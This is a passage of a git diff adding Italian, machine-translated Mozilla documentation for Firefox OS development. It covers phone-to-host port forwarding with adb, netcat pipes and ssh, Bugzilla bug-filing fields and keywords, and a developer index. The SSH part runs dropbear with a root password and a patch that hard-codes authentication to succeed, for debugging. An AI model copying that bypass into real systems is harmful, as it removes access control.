+<p><span id="result_box" lang="it"><span class="hps">Avrete</span> <span class="hps">bisogno di fare questo</span> <span class="hps">ogni volta che il</span> <span class="hps">telefono viene</span> <span class="hps">riavviato o</span> <span class="hps">scollegato</span> <span class="hps">e poi ri</span><span class="atn">-</span><span>collegato</span><span>.</span> <span class="hps">È possibile modificare il</span> <span class="hps">numero di socket</span><span>, se necessario</span><span>.</span></span></p>
+<h2 id="Forwarding_delle_porte_a_una_macchina_locale">Forwarding delle porte a una macchina locale</h2>
+<p>Per il forwarding delle porte a un computer locale, è necessario scaricare i <a href="http://people.mozilla.org/~jmuizelaar/forward/">binari netcat e ssh</a>, ed eseguire i seguenti comandi:</p>
+<pre class="brush: bash"># questo è un trucco enorme, ma di fatto funziona...
+host$ adb forward tcp:7979 tcp:6969
+
+# crea qualche <em>named pipe</em> <span class="short_text" id="result_box" lang="it"><span class="hps">in modo da</span> <span class="hps">fare un</span> <span class="hps">netcat</span> <span class="hps">bidirezionale</span></span>
+phone$ mknod readback p
+host$ mknod readback p
+
+# <span id="result_box" lang="it"><span class="hps">questo</span> <span class="hps">stabilisce</span> <span class="hps">una connessione</span> <span class="hps">all'host</span></span> <span id="result_box" lang="it"><span class="hps">usata una volta sola</span></span>
+# ascolto sulle porte 6969 e 5959 e inoltro di tutte le informazioni tra loro
+phone$ ./netcat -l -p 6969 &lt; readback | ./netcat -l -p 5959 &gt; readback
+# connessione alla porta 7979 (porta 6969 sul dispositivo) e il server ssh locale e inoltro di tutte le informazioni tra loro
+host$ ./netcat localhost 7979 &lt; readback | ./netcat localhost 22 &gt; readback
+
+# ora, quando ci colleghiamo alla porta 5959 sul telefono, sarà come connettersi al server ssh sull'host
+
+# uso inverso di netcat per impostare una connessione ssh all'host e inoltro della porta 9999 sul dispositivo verso il 'localhost:8000' (questo potrebbe essere qualsiasi cosa come 'google.com:80')
+phone$ ./ssh localhost -p 5959 -L 9999:localhost:8000</pre>
+<p>Questo inoltrerà la porta 9999 sul dispositivo verso la porta 8000 dell'host.</p>
+<p>Alternativamente, puoi usare un server ssh (<a href="http://people.mozilla.org/~jmuizelaar/forward/dropbear">dropbear</a> e <a href="http://people.mozilla.org/~jmuizelaar/forward/host_key">host_key</a>) direttamente sul dispositivo, usando i comandi seguenti:</p>
+<pre class="brush: bash">phone$ DROPBEAR_PASSWORD=root ./dropbear -p 9000 -F -v -a -r host_key ./dropbear
+host$ adb forward tcp:8888 tcp:9000
+# l'autenticazione con chiave pubblica è stata <em>hard-coded</em> per avere successo (<span id="result_box" lang="it"><span class="hps">assicuratevi di avere</span> <span class="hps">una chiave pubblica</span> <span class="hps">per</span> <span class="hps">ssh</span> <span class="hps">da usare</span></span>)
+host$ ssh -vvv root@localhost -p 8888 -R 9999:people.mozilla.org:80
+</pre>
+<p>Ulteriori risorse:</p>
+<ul>
+ <li><a href="http://k.japko.eu/android-dropbear.html">Istruzioni per la compilazione di dropbear</a></li>
+ <li><a href="http://people.mozilla.org/~jmuizelaar/forward/dropbear-b2g.patch">dropbear patch</a> per disabilitare il crash da variabili ambientali mancanti e il successo dell'autenticazione <em>hard-code</em>.</li>
+</ul>
diff --git a/files/it/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html b/files/it/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html
new file mode 100644
index 0000000000..648fcb8288
--- /dev/null
+++ b/files/it/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html
@@ -0,0 +1,197 @@
+---
+title: Filing bugs against Firefox OS
+slug: Archive/B2G_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS
+translation_of: Archive/B2G_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS
+---
+<div class="summary">
+<div class="tw-swapa">
+<div class="_wYb"> </div>
+</div>
+
+<pre class="tw-data-text vk_txt tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 96px;"><span>Questo articolo fornisce una guida per l'archiviazione di errori (bugs) individuati nel contesto del progetto Firefox OS , che include anche Gaia e B2G .</span></pre>
+</div>
+
+<h2 id="Bugzilla">Bugzilla</h2>
+
+<div class="almost_half_cell" id="gt-res-content">
+<div dir="ltr" style="zoom: 1;">
+<p><span id="result_box" lang="it"><span class="hps">Come nella</span> <span class="hps">maggior parte dei progetti</span> <span class="hps">Mozilla</span><span>,</span> <span class="hps">Bugzilla</span> viene utilizzato <span class="hps">per gestire lo stato di bugs</span> <span class="hps">e</span> <span class="hps">problemi individuati in programmi appartenenti al progetto</span><span class="hps">.</span> <span class="hps">Dopo aver scopeto un </span><span class="hps">bug</span></span><span lang="it"> puoi archiviarlo in <span class="hps">Bugzilla</span>  <span class="hps">-</span> nota che esiste<span class="hps"> un</span> <span class="hps">prodotto specifico</span> <span class="hps">per Firefox</span> <span class="hps">OS, contenente</span><span class="hps"> componenti</span> che trattano <span class="hps">argomenti</span> <span class="hps">che possono essere classificati nel contesto di</span> <span class="hps">Gaia</span><span>,</span> <span class="hps">Gonk</span> <span class="hps">e</span> <span class="hps">Gecko</span><span>.</span> <span class="hps">Si consiglia di utilizzare</span> <span class="hps">questo componente per</span> <span class="hps">archiviare</span> <span class="hps">i bugs</span> individuati in <span class="hps">Firefox</span> <span class="hps">OS</span><span>,</span> <span class="hps">Gaia</span><span>,</span> <span class="hps">etc.</span></span></p>
+</div>
+</div>
+
+<h3 id="Archiviazione_dei_bugs">Archiviazione dei bugs</h3>
+
+<p>Per archiviare un bug, <span id="result_box" lang="it"><span class="hps">è possibile</span> <span class="hps">utilizzare questo modello</span> proposto da <span class="hps">Bugzilla</span> <span class="hps">e seguire le istruzioni riportate qui di seguito nel</span><span class="hps"> compilarlo</span><span class="hps">.</span></span></p>
+
+<h3 id="Campi_obbligatori_e_facoltativi">Campi obbligatori e facoltativi</h3>
+
+<p>Quando si archivia un bug, alcuni campi sono obbligatori:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Campo</strong></th>
+   <th scope="col"><strong>Descrizione</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Componente</td>
+   <td>Scegliete la categoria di appartenenza del bug. <span id="result_box" lang="it"><span class="hps">Se</span> <span class="hps">non avete idea di</span> <span class="hps">quale categoria</span> assegnare, scegliete la categoria<span class="atn hps"> "</span><span>Generale"</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>Sommario</td>
+   <td>Fornite un sintesi della descrizione del bug</td>
+  </tr>
+  <tr>
+   <td>Descrizione</td>
+   <td><span id="result_box" lang="it"><span class="hps">Descrivete</span> <span class="hps">chiaramente la situazione</span><span>.</span> <span class="hps">Un buon</span> <span class="hps">bug dovrebbe</span> <span class="hps">contenere una descrizione,</span><span class="alt-edited hps"> passo per passo, </span><span class="hps">della </span><span class="alt-edited hps">procedura p</span></span><span lang="it"><span class="alt-edited hps">er riprodurre il problema</span> <span class="hps">(Steps To Reproduce -STR)</span><span>,</span> <span class="hps">dei risultati che uno si aspetta</span> <span class="hps">e dei risultati riscontrati</span><span>.</span> <span class="hps">Si prega di indicare</span> <span class="hps">anche la</span> <span class="hps">frequenza di</span> <span class="hps">riproduzione</span> <span class="hps">(cioè</span> <span class="hps">quante volte</span> <span class="hps">il bug</span> <span class="hps">appare</span> <span class="hps">se ripetete</span> <span class="hps">i passi</span> <span class="hps">più e più volte</span><span>)</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>Informazione relativa al Build</td>
+   <td><span id="result_box" lang="it"><span class="hps">Andate a</span> <span class="hps">Impostazioni&gt;</span> <span class="hps">Informazioni sul dispositivo</span><span>&gt;</span> <span class="hps">Ulteriori informazioni</span> <span class="hps">e</span> <span class="hps">menzionate</span> <span class="hps">nel bug </span></span><span lang="it"><span class="hps">le seguenti caratteristiche</span><span>:</span> <span class="hps">versione del sistema operativo</span><span>,</span> <span class="hps">il numero dei build</span><span>,</span> <span class="hps">la Versione</span><span> della </span><span class="hps">Piattaforma</span><span>,</span>  l' i<span class="hps">dentificatore del Build</span><span>,</span> <span class="hps">l' Aggiornamento del canale</span> <span class="hps">e</span> l'informazione del <span class="hps">Git</span> <span class="hps">Commit</span><span>.</span> <span class="atn hps">(</span><span>Se si dispone di</span> <span class="hps">un computer Mac</span> <span class="hps">/</span> <span class="hps">Linux con</span> <span class="hps">adb</span> <span class="hps">e</span> <span class="hps">git</span> <span class="hps">installato, è possibile</span> <span class="hps">eseguire questo script</span> <span class="hps">e</span> <span class="hps">incollare</span> <span class="hps">l'output</span> <span class="hps">dello script</span> <span class="hps">del</span> <span class="hps">bug</span><span>.</span><span>)</span></span></td>
+  </tr>
+  <tr>
+   <td>Immagini delle schermate</td>
+   <td><span id="result_box" lang="it"><span class="hps">Si prega di allegare</span> <span class="hps">una immagine dello schermo</span> <span class="hps">che possa essere utile per</span><span class="hps"> analizzare</span> <span class="hps">il bug</span><span>.</span> <span class="atn hps">(</span><span>Sul dispositivo</span> <span class="hps">Fiamma</span><span>,</span> <span class="hps">tenere premuto il</span> <span class="hps">tasto Power e</span> <span class="hps">Abbassa Volume</span> <span class="hps">simultaneamente per 2 secondi</span> <span class="hps">fino a quando</span> <span class="hps">il telefono</span> <span class="hps">non mostri</span> <span class="hps">una notifica</span> <span class="hps">della avvenuta acquisizione ddell'immagine dello schermo</span><span>.</span> <span class="hps">Succesivamente trasferire</span> <span class="hps">l'immagine acquisita sul</span><span class="hps"> computer</span> <span class="hps">utilizzando un attacco USB</span><span>.</span><span>)</span></span></td>
+  </tr>
+  <tr>
+   <td>Video</td>
+   <td><span id="result_box" lang="it"><span class="hps">Se il</span> <span class="hps">bug</span> <span class="hps">riguarda</span><span class="hps"> transizioni</span> <span class="hps">dello schermo</span> <span class="hps">che sono</span> <span class="hps">difficili da catturare</span> attraverso l'acquisizione di immagini delle schermate<span class="hps">,</span> <span class="hps">si prega di</span> <span class="hps">girare un video</span><span>.</span> C<span class="hps">aricate </span><span class="hps">il</span> <span class="hps">file del video come allegato</span> <span class="hps">al bug oppure</span><span class="hps"> caricate</span> <span class="hps">il video su YouTube</span> <span class="hps">e</span> poi allegate l'indirizzo del<span class="hps">l'URL del video</span></span><span lang="it"> utilizzando la funzione di <span class="hps">copia-incolla</span> <span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>Registrazioni ADB</td>
+   <td>Se il vostro computer contiene una installazione di ADB, <span id="result_box" lang="it"><span class="hps">per favore collegatelo al</span> <span class="hps">telefono</span> <span class="hps">ed eseguite il comando</span> <span class="hps">|</span> <span class="hps">adb logcat</span> <span class="hps">|</span><span>.</span> <span class="hps">Si prega di</span> <span class="hps">inserire</span> <span class="hps">l'output</span> <span class="hps">di questo comando</span> <span class="hps">in</span> <span class="hps">un file di testo</span> <span class="hps">e quindi allegarlo</span> <span class="hps">al bug</span><span>.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The following fields are optional:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Campo</strong></th>
+   <th scope="col"><strong>Descrizione</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Dipedenze/blocchi</td>
+   <td>Mostare la dipendenza fra i vari bugs.</td>
+  </tr>
+  <tr>
+   <td>Parola chiave</td>
+   <td><span id="result_box" lang="it"><span class="hps">Parole chiave per</span> <span class="hps">Bugzilla.</span> <span class="hps">Gruppi specifici</span> <span class="hps">le useranno</span> <span class="hps">per rintracciare il bug</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>Lavagna</td>
+   <td><span id="result_box" lang="it"><span class="hps">Contiene</span> <span class="alt-edited hps">etichette.</span> <span class="hps">Inserisci</span><span class="alt-edited hps"> etichette utili per rintracciare il bug</span><span>.</span> <span class="hps">Si consiglia di non</span> <span class="hps">rimuovereetichette assegnate da altri </span><span class="hps">senza permesso.</span></span></td>
+  </tr>
+  <tr>
+   <td>Vedi Anche</td>
+   <td>A volte due diversi problemi sono in qualche modo collegati. La loro connessione puo' essere riportata qui</td>
+  </tr>
+  <tr>
+   <td>Bandierine</td>
+   <td><span id="result_box" lang="it"><span class="hps">Bandierine per</span> <span class="hps">il monitoraggio</span> <span class="hps">dello stato</span><span>;</span> <span class="hps">la bandierina</span> <span class="hps">più utilizzata nei</span> <span class="hps">bugs</span> <span class="hps">del sistema operativo</span> <span class="hps">Firefox</span> e' "B<span class="hps">locca</span><span class="atn">-</span><span>B2G"</span><span>.</span> <span class="hps">Se un bug</span> contiene la bandierina <span class="hps">blocco</span><span class="atn">-</span><span>B2G</span><span>, significa che</span> <span class="hps">e' necessario prestare</span> <span class="hps">più attenzione alle specificahe del bug in quanto puo'</span><span class="hps"> </span><span class="hps">bloccare</span> <span class="hps">la distribuzione</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>Sicurezza</td>
+   <td><span id="result_box" lang="it"><span class="hps">Se un bug</span> <span class="hps">è relativo</span> <span class="hps">alla sicurezza</span> <span class="hps">dei dati personali,</span> <span class="hps">la perdita</span> <span class="hps">di guadagno o simili</span> <span class="hps">questioni</span><span>,</span> selezionat <span class="hps">la casella di controllo</span> cosicche<span class="hps"> sarà</span> <span class="hps">visiable</span> <span class="hps">solamente ai dipendenti</span> <span class="hps">interessati</span><span>.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span id="result_box" lang="it"><span class="hps">Per</span> <span class="hps">ulteriori informazioni sui campi</span> <span class="hps">Bugzilla,</span> <span class="hps">è possibile visualizzare la</span> <span class="hps">pagina dei campi</span></span><span lang="it"> <span class="hps">Bugzilla</span> <span class="hps">su</span> <span class="hps">Bugzilla</span><span>.</span></span></p>
+
+<h3 id="Archiviazione_di_bugs_di_localizzazione">Archiviazione di bugs di localizzazione</h3>
+
+<p>Quando uncontrate un stringa non tradotta puo' significare due cose:</p>
+
+<ul>
+ <li>
+  <div id="gt-src-tools">
+  <div id="tts_button"><span id="result_box" lang="it"><span class="hps">Il</span> <span class="hps">localizzatore</span> <span class="hps">non</span> <span class="hps">ha tradotto</span> <span class="hps">la stringa</span><span>.</span> <span class="hps">Non</span> <span class="hps">segnalate un bug</span> <span class="hps">in questo caso!</span></span></div>
+  </div>
+ </li>
+ <li><span id="result_box" lang="it"><span class="hps">Il</span> <span class="hps">localizzatore</span> <span class="hps">non ha potuto</span> <span class="hps">tradurre</span> <span class="hps">la stringa</span> <span class="hps">a causa di</span> <span class="hps">un problema legato alla localizzabilita'</span> <span class="atn hps">(</span><span>l12y</span><span>)</span><span>.</span> <span class="hps">Si prega di</span> <span class="hps">inviare un bug</span> <span class="hps">in</span> <span class="hps">questo</span> <span class="hps">caso</span><span>.</span></span></li>
+</ul>
+
+<h4 id="Come_archiviare_bugs_di_localizzazione_(l12y)">Come archiviare bugs di localizzazione (l12y)</h4>
+
+<ol>
+ <li><span id="result_box" lang="it"><span class="hps">Nel sistema operativo Firefox</span><span>,</span> <span class="hps">andate su</span> <span class="hps">Impostazioni&gt;</span> <span class="hps">Informazioni sul dispositivo</span><span>&gt;</span> <span class="hps">Ulteriori informazioni</span> <span class="hps">e</span> <span class="hps">attivate il</span><span class="hps"> menu</span> <span class="hps">Developer</span></span></li>
+ <li><span id="result_box" lang="it"><span class="hps">Andate a Impostazioni</span><span>&gt;</span> <span class="hps">Developer e</span> <span class="hps">attivate</span> <span class="hps">pseudo</span><span>-localizzazione</span><span>.</span></span></li>
+ <li>Andate<span id="result_box" lang="it"><span class="hps"> a</span> <span class="hps">Impostazioni&gt; Lingua</span> <span class="hps">e</span> <span class="hps">scorrere fino alla fine</span> <span class="hps">per selezionare</span> inglese accentato.</span></li>
+ <li><span id="result_box" lang="it"><span class="hps">Tornate indietro e</span> <span class="hps">guardate</span> <span class="hps">la stringa</span> <span class="hps">non tradotta</span><span>.</span> <span class="hps">Se appare</span> <span class="hps">in</span> <span class="hps">normale</span> <span class="hps">inglese</span> <span class="hps">e non</span> inglese <span class="hps">accentato</span><span>,</span> <span class="hps">si tratta molto probabilmente</span> <span class="hps">di</span> <span class="hps">un</span> poblema legato alla<span class="hps">localizzabilità</span> <span class="atn hps">(</span><span>l12y</span><span>)</span><span>.</span></span></li>
+ <li><span id="result_box" lang="it"><span class="hps">In</span> <span class="hps">Bugzilla</span><span>,</span> <span class="hps">aprite un bug</span> <span class="hps">sotto la sezione del</span> <span class="hps">prodotto</span> <span class="atn hps">'</span><span>Firefox</span> <span class="hps">OS'</span><span>.</span> <span class="hps">Selezionate il componente dove la stringa non tradotta appare. </span><span class="hps">Aggiungete</span> <span class="atn hps">'</span><span>l12y</span><span>'</span> <span class="hps">nel campo Parola chiave</span><span>.</span></span></li>
+ <li><span id="result_box" lang="it"><span class="hps">Si prega di compilare</span> <span class="hps">tutti</span> <span class="hps">gli altri</span> <span class="hps">campi obbligatori</span><span>.</span></span></li>
+</ol>
+
+<h3 id="Tipiche_Parole_chiave">Tipiche Parole chiave</h3>
+
+<p><span lang="it"><span class="hps">La seguente tabella</span> <span class="hps">fornisce</span> <span class="hps">informazioni</span> <span class="hps">sulle tipiche parole chiave</span> che <span class="hps">vedrete</span> <span class="hps">utilizzate</span> <span class="hps">nei</span> <span class="hps">bug</span>s <span class="hps">del sistema operativo</span> <span class="hps">Firefox</span><span>.</span><br>
+ <br>
+ <br>
+ <span class="hps">Si deve sempre</span> <span class="hps">indicare il</span> <span class="hps">build /</span> <span class="hps">l'OS</span> <span class="hps">/</span> la <span class="hps">piattaforma</span> <span class="atn hps">(</span><span>e</span><span>) utilizzati</span> <span class="hps">per verificare</span> <span class="hps">il bug</span> <span class="hps">nei commenti</span> <span class="hps">relativi all' errore riscontrato</span><span>,</span> <span class="hps">prima di modificare</span> <span class="hps">lo <em>stato</em></span> a</span><span lang="it"> <em><span class="hps">ve</span></em></span><span lang="it"><span class="hps"><em>rificato</em>.</span> <span class="hps">Se</span> <span class="hps">il bug è</span> <span class="hps">riportato</span> <span class="hps">su tutte e tre</span> <span class="hps">le piattaforme</span> <span class="hps">e si dispone di</span> <span class="hps">una sola piattaforma</span> <span class="hps">per verificare</span> <span class="hps">la correzione</span><span>,</span> <span class="hps">andate avanti e</span> <span class="hps">annotate le vostre osservazioni nel bug</span><span class="hps">,</span> <span class="hps">ma</span> <span class="hps">non</span> <span class="hps">segnalate</span> <span class="hps">il bug</span> <span class="hps">come</span> <span class="hps"><em>verificato</em>.</span> <span class="hps">Tutte le piattaforme</span> <span class="hps">devono essere controlle</span> <span class="hps">prima di modificare</span> <span class="hps">lo</span> <em><span class="hps">Stato</span></em> <span class="hps">a <em>verificato</em>.</span><br>
+ <br>
+ <span class="hps">Infine, se</span> <span class="hps">altri bug</span> <span class="hps">sono stati contrassegnati come</span> <span class="hps">un duplicato</span> <span class="hps">del bug</span> <span class="hps">che state</span> <span class="hps">verificando</span><span>,</span> <span class="hps">assicuratevi di controllare</span> <span class="hps">e</span> annotare pure <span class="hps">quelli</span><span class="hps">.</span> <span class="hps">Spesso i programmatori</span> <span class="hps">indicano bug correlati, ma non identici, come duplicati </span> <span class="hps">e questi possono essere</span> <span class="hps">trascurati</span> <span class="hps">se non appaiono selezionati</span><span>.</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Parola Chiave</strong></th>
+   <th scope="col"><strong>Descrizione</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>meta</td>
+   <td><span id="result_box" lang="it"><span class="hps">Indica che</span> <span class="hps">il bug</span> <span class="hps">è un bug</span> <span class="hps">di monitoraggio</span> <span class="hps">dello stato</span><span>.</span> <span class="hps">Mozilla usa</span> <span class="hps">questa etichetta per</span> controllare lo stato di vari  <span class="hps">bugs</span> <span class="hps">o</span> <span class="hps">delle implementazioni</span> <span class="hps">delle storie degli utenti</span><span>.</span> <span class="hps">Una volta</span> <span class="hps">segnalato</span> <span class="hps">in questo modo,</span> <span class="hps">i programmatori non</span> <span class="hps">dovrebbero</span> <span class="hps">mettere delle pezze sopra a</span> <span class="hps">questi bugs</span><span>.</span> <span class="hps">Si ricorda che</span> <span class="hps">i responsabili di progetto</span> <span class="hps">e il personale</span> <span class="hps">che si occupa della qualita'</span> <span class="hps">usano</span> <span class="hps">meta</span> <span class="hps">bugs</span> <span class="alt-edited hps">per sequire lo stato delle varie applicazioni</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>qablocker</td>
+   <td><span id="result_box" lang="it"><span class="hps">Utilizzare questa parola chiave</span> <span class="hps">per i bug</span> <span class="hps">che stanno bloccando</span><span class="hps"> test di verifica</span> <span class="atn hps">(</span><span>manuali o</span> <span class="hps">automatizzati</span> <span class="hps">di</span> <span class="hps">un aspetto specifico</span><span class="hps">)</span> <span class="hps">e che devono essere</span> <span class="hps">risolti prima della scadenza relativa alla pubblicazione della prossima versione </span><span class="hps">Beta</span> <span class="hps">o RC</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>qawanted</td>
+   <td><span id="result_box" lang="it"><span class="hps">Utilizzare</span> <span class="hps">questa parola chiave</span> <span class="hps">per i bug</span> <span class="hps">che</span> <span class="hps">hanno bisogno di più</span> <span class="hps">informazioni</span><span>,</span> <span class="hps">che richiedono di essere riprodotti o verificati di nuovo</span><span>,</span> <span class="hps">o che sono</span> <span class="hps">duplicati</span> <span class="atn hps">(</span><span>ma</span> <span class="hps">non si riesce a trovare</span> <span class="hps">il bug</span> <span class="hps">originale</span> che e' stato duplicato<span>)</span><span>.</span> Sulla lavagna viene riportato l' a<span class="hps">vanzamento delle verifiche di qualita'</span> <span class="hps">obbligatorie</span><span>;</span> <span class="hps">questa parola chiave deve essere rimossa</span> <span class="hps">quando le verifiche di qualita' richieste sono state completate</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>regression</td>
+   <td>
+    <p><span id="result_box" lang="it"><span class="hps">Questa parola chiave</span> <span class="hps">significa che il</span> <span class="hps">problema è stato risolto</span><span>,</span> <span class="hps">ma</span> <span class="hps">poi</span> <span class="hps">è ritornato</span> <span class="atn hps">(</span><span>regredito</span><span>)</span> <span class="hps">e</span> <span class="hps">il bug</span> <span class="hps">in questione è un</span> <span class="hps">nuovo bug</span><span>, archiviato</span> <span class="hps">per registrare la</span> <span class="hps">regressione.</span> </span><span lang="it"><span class="hps">Può anche</span> riferirsi<span class="hps"> a</span> <span class="hps">problemi al di fuori</span> <span class="hps">quelli identificati </span><span class="hps">nella registrazione iniziale del bug o riscontrati n</span><span class="hps">ei test</span> <span class="hps">di fumo e </span><span class="hps">che sono stati</span> individuti<span class="hps"> nei build attuali</span> <span class="hps">e</span> <span class="hps">che</span> <span class="hps">funzionavano</span><span class="hps"> in</span> <span class="hps">build precedenti</span><span>.</span> <span class="hps">Il monitoraggio di tali</span> <span class="hps">errori</span> <span class="hps">aiuta ad</span> <span class="hps">identificare </span><span class="hps">aree di fragilita'</span><span> e </span><span class="hps">soggette a</span> <span class="hps">rottura. Tali errori sono utili per la identificazione di nuovi test da aagiungere ai test di verifica che appaionno nelle liste dei pre-Test </span>e dei test di fumo.</span></p>
+   </td>
+  </tr>
+  <tr>
+   <td>regressionwindow-wanted</td>
+   <td>
+    <p><span lang="it"><span class="hps">Indica che</span> <span class="hps">il bug è</span> <span class="hps">una regressione</span><span class="hps"> e che sarebbe importante che qualcuno</span> <span class="hps">identificasse il momento in cui </span><span class="hps">è accaduto e il relativo specifico</span><span class="hps"> controllo</span><span>.</span></span></p>
+   </td>
+  </tr>
+  <tr>
+   <td>steps-wanted</td>
+   <td><span id="result_box" lang="it"><span class="hps">Mette in evidenza</span> <span class="hps">un bug</span> <span class="hps">che potrebbe</span> migliorare<span class="hps"> se</span><span class="hps"> qualcuno</span> identificasse <span class="hps">la procedura per</span> <span class="hps">riprodurlo</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>verifyme</td>
+   <td><span id="result_box" lang="it"><span class="hps">Significa che</span> <span class="hps">questo bug</span> <span class="hps">è pronto per essere verificato</span> <span class="hps">con</span> <span class="hps">l'ultima build</span> <span class="hps">FX</span> <span class="hps">OS</span> <span class="hps">da</span> <span class="hps">una persona diversa dal</span> <span class="hps">contatto</span> di verifica qualita' <span class="hps">indicato nel bug</span><span>.</span> <span class="hps">Il bug</span> <span class="hps">contiene</span> <span class="hps">specifici</span> <span class="hps">dettagli di configurazione</span> <span class="hps">della macchina</span>da utilizzarsi<span class="hps"> per</span> <span class="hps">verificare</span> <span class="hps">la correzione</span><span>.</span> <span class="hps">Si dovrebbe cercare di</span> <span class="hps">riprodurre l'errore</span><span>,</span> <span class="hps">e</span><span>,</span> <span class="hps">se d'accordo</span> <span class="hps">che la stato</span> <em><span class="hps">Fixed</span></em> <span class="hps">è</span> <span class="hps">corretto</span><span>,</span> <span class="hps">cambiare</span> <span class="hps">lo stato</span> a<em> </em><span class="hps"><em>verificato</em>.</span></span><br>
+     </td>
+  </tr>
+  <tr>
+   <td>crash</td>
+   <td>Aggiungete questa parola chiave se si incontra un rottura del programma in FX OS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="it"><span class="hps">È possibile</span> <span class="hps">fare riferimento alle</span> "G<span class="hps">uida</span> <span class="hps">di come scrivere un</span> <span class="hps">Bug</span><span>".</span> <span class="hps">La pagina WIKI di</span> <span class="hps">Mozilla</span> <span class="hps">B2G</span> <span class="hps">QA</span> <span class="hps">ha anche alcune</span> <span class="hps">risorse utili</span> <span class="hps">sulla gestione dei</span> <span class="hps">bug</span> <span class="hps">del sistema operativo</span> <span class="hps">di Firefox</span><span>;</span> <span class="hps">le pagine</span> <span class="hps">più utili sono</span> <span class="hps">Uso di Bugzilla</span> <span class="hps"> e</span> <span class="hps">Incoming</span> <span class="hps">triage</span> <span class="hps">bug</span> <span class="hps">per Firefox</span> <span class="hps">OS</span><span>.</span></span></p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: For more information on handling bugs during Gaia development, read <a href="/en-US/Firefox_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a>.</p>
+</div>
+
+<p> </p>
diff --git a/files/it/archive/b2g_os/developing_firefox_os/index.html b/files/it/archive/b2g_os/developing_firefox_os/index.html
new file mode 100644
index 0000000000..7aceb1f5a9
--- /dev/null
+++ b/files/it/archive/b2g_os/developing_firefox_os/index.html
@@ -0,0 +1,45 @@
+---
+title: Developing Firefox OS
+slug: Archive/B2G_OS/Developing_Firefox_OS
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/B2G_OS/Developing_Firefox_OS
+---
+<div class="summary">
+ <p>This section provides useful documentation covering different ways in which the Firefox OS experience can be modified/customized during the build or app writing process, and how you can help to develop the platform.</p>
+</div>
+<dl>
+ <dt>
+  <a href="/en-US/Firefox_OS/Hacking_Firefox_OS/Quickstart_guide_to_Gaia_development">Quickstart guide to Gaia development</a></dt>
+ <dd>
+  Gaia is the collection of <a href="https://developer.mozilla.org/apps" rel="nofollow">web apps</a> which make up the front end of <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>. Everything you see on the screen in Firefox OS is built using open Web technologies. This includes the home screen and all the default apps. This guide provides a quick and simple guide to getting started with modifying Gaia.</dd>
+ <dt>
+  <a href="/en-US/Firefox_OS/Platform/Gaia/Build_System_Primer">Build system primer</a></dt>
+ <dd>
+  This article explains how Gaia's build system works, including the makefile, the build process, environment variables, and potential customizations.</dd>
+ <dt>
+  <a href="/en-US/Firefox_OS/Platform/Gaia/Hacking">Hacking Gaia</a></dt>
+ <dd>
+  This article provides a detailed guide to modifying Gaia.</dd>
+ <dt>
+  <a href="/en-US/Firefox_OS/Hacking_Firefox_OS/Market_customizations_guide">Market customizations guide</a></dt>
+ <dd>
+  Market customizations allow you to specify build-time customization instructions (for example, which apps should be included in your build) in separate directories, without modifying the core Gaia repo. You can include your own customizations in distinct directories, or use the preexisting directories that come with the source. These customizations are specified with build options. In this article we look in detail at how to create and use these customizations.</dd>
+ <dt>
+  <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Tips_and_tricks/modifying_hosts_file" title="/en-US/docs/Mozilla/Firefox_OS/Tips_and_tricks/modifying_hosts_file">Modifying the hosts file</a></dt>
+ <dd>
+  A guide to what can be achieved by modifying the Firefox OS hosts file.</dd>
+ <dt>
+  <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a></dt>
+ <dd>
+  How to customize the build and execution of Firefox OS by changing the <code>.userconfig</code> file.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Hacking_Firefox_OS/Customizing_the_keyboard">Customizing the keyboard in Firefox OS apps</a></dt>
+ <dd>
+  This guide shows how to customize the keyboard in your Firefox OS apps.</dd>
+ <dt>
+  <a href="/en-US/docs/Firefox_OS/Hacking_Firefox_OS/Localizing_Firefox_OS" title="/en-US/docs/Firefox_OS/Hacking_Firefox_OS/Localizing_Firefox_OS">Localizing Firefox OS</a></dt>
+ <dd>
+  A guide to localising the Firefox OS platform, making it available in your preferred languages.</dd>
+</dl>
diff --git a/files/it/archive/b2g_os/developing_firefox_os/localizing_firefox_os/index.html b/files/it/archive/b2g_os/developing_firefox_os/localizing_firefox_os/index.html
new file mode 100644
index 0000000000..05e211521d
--- /dev/null
+++ b/files/it/archive/b2g_os/developing_firefox_os/localizing_firefox_os/index.html
@@ -0,0 +1,188 @@
+---
+title: Localizzazione di B2G OS
+slug: Archive/B2G_OS/Developing_Firefox_OS/Localizing_Firefox_OS
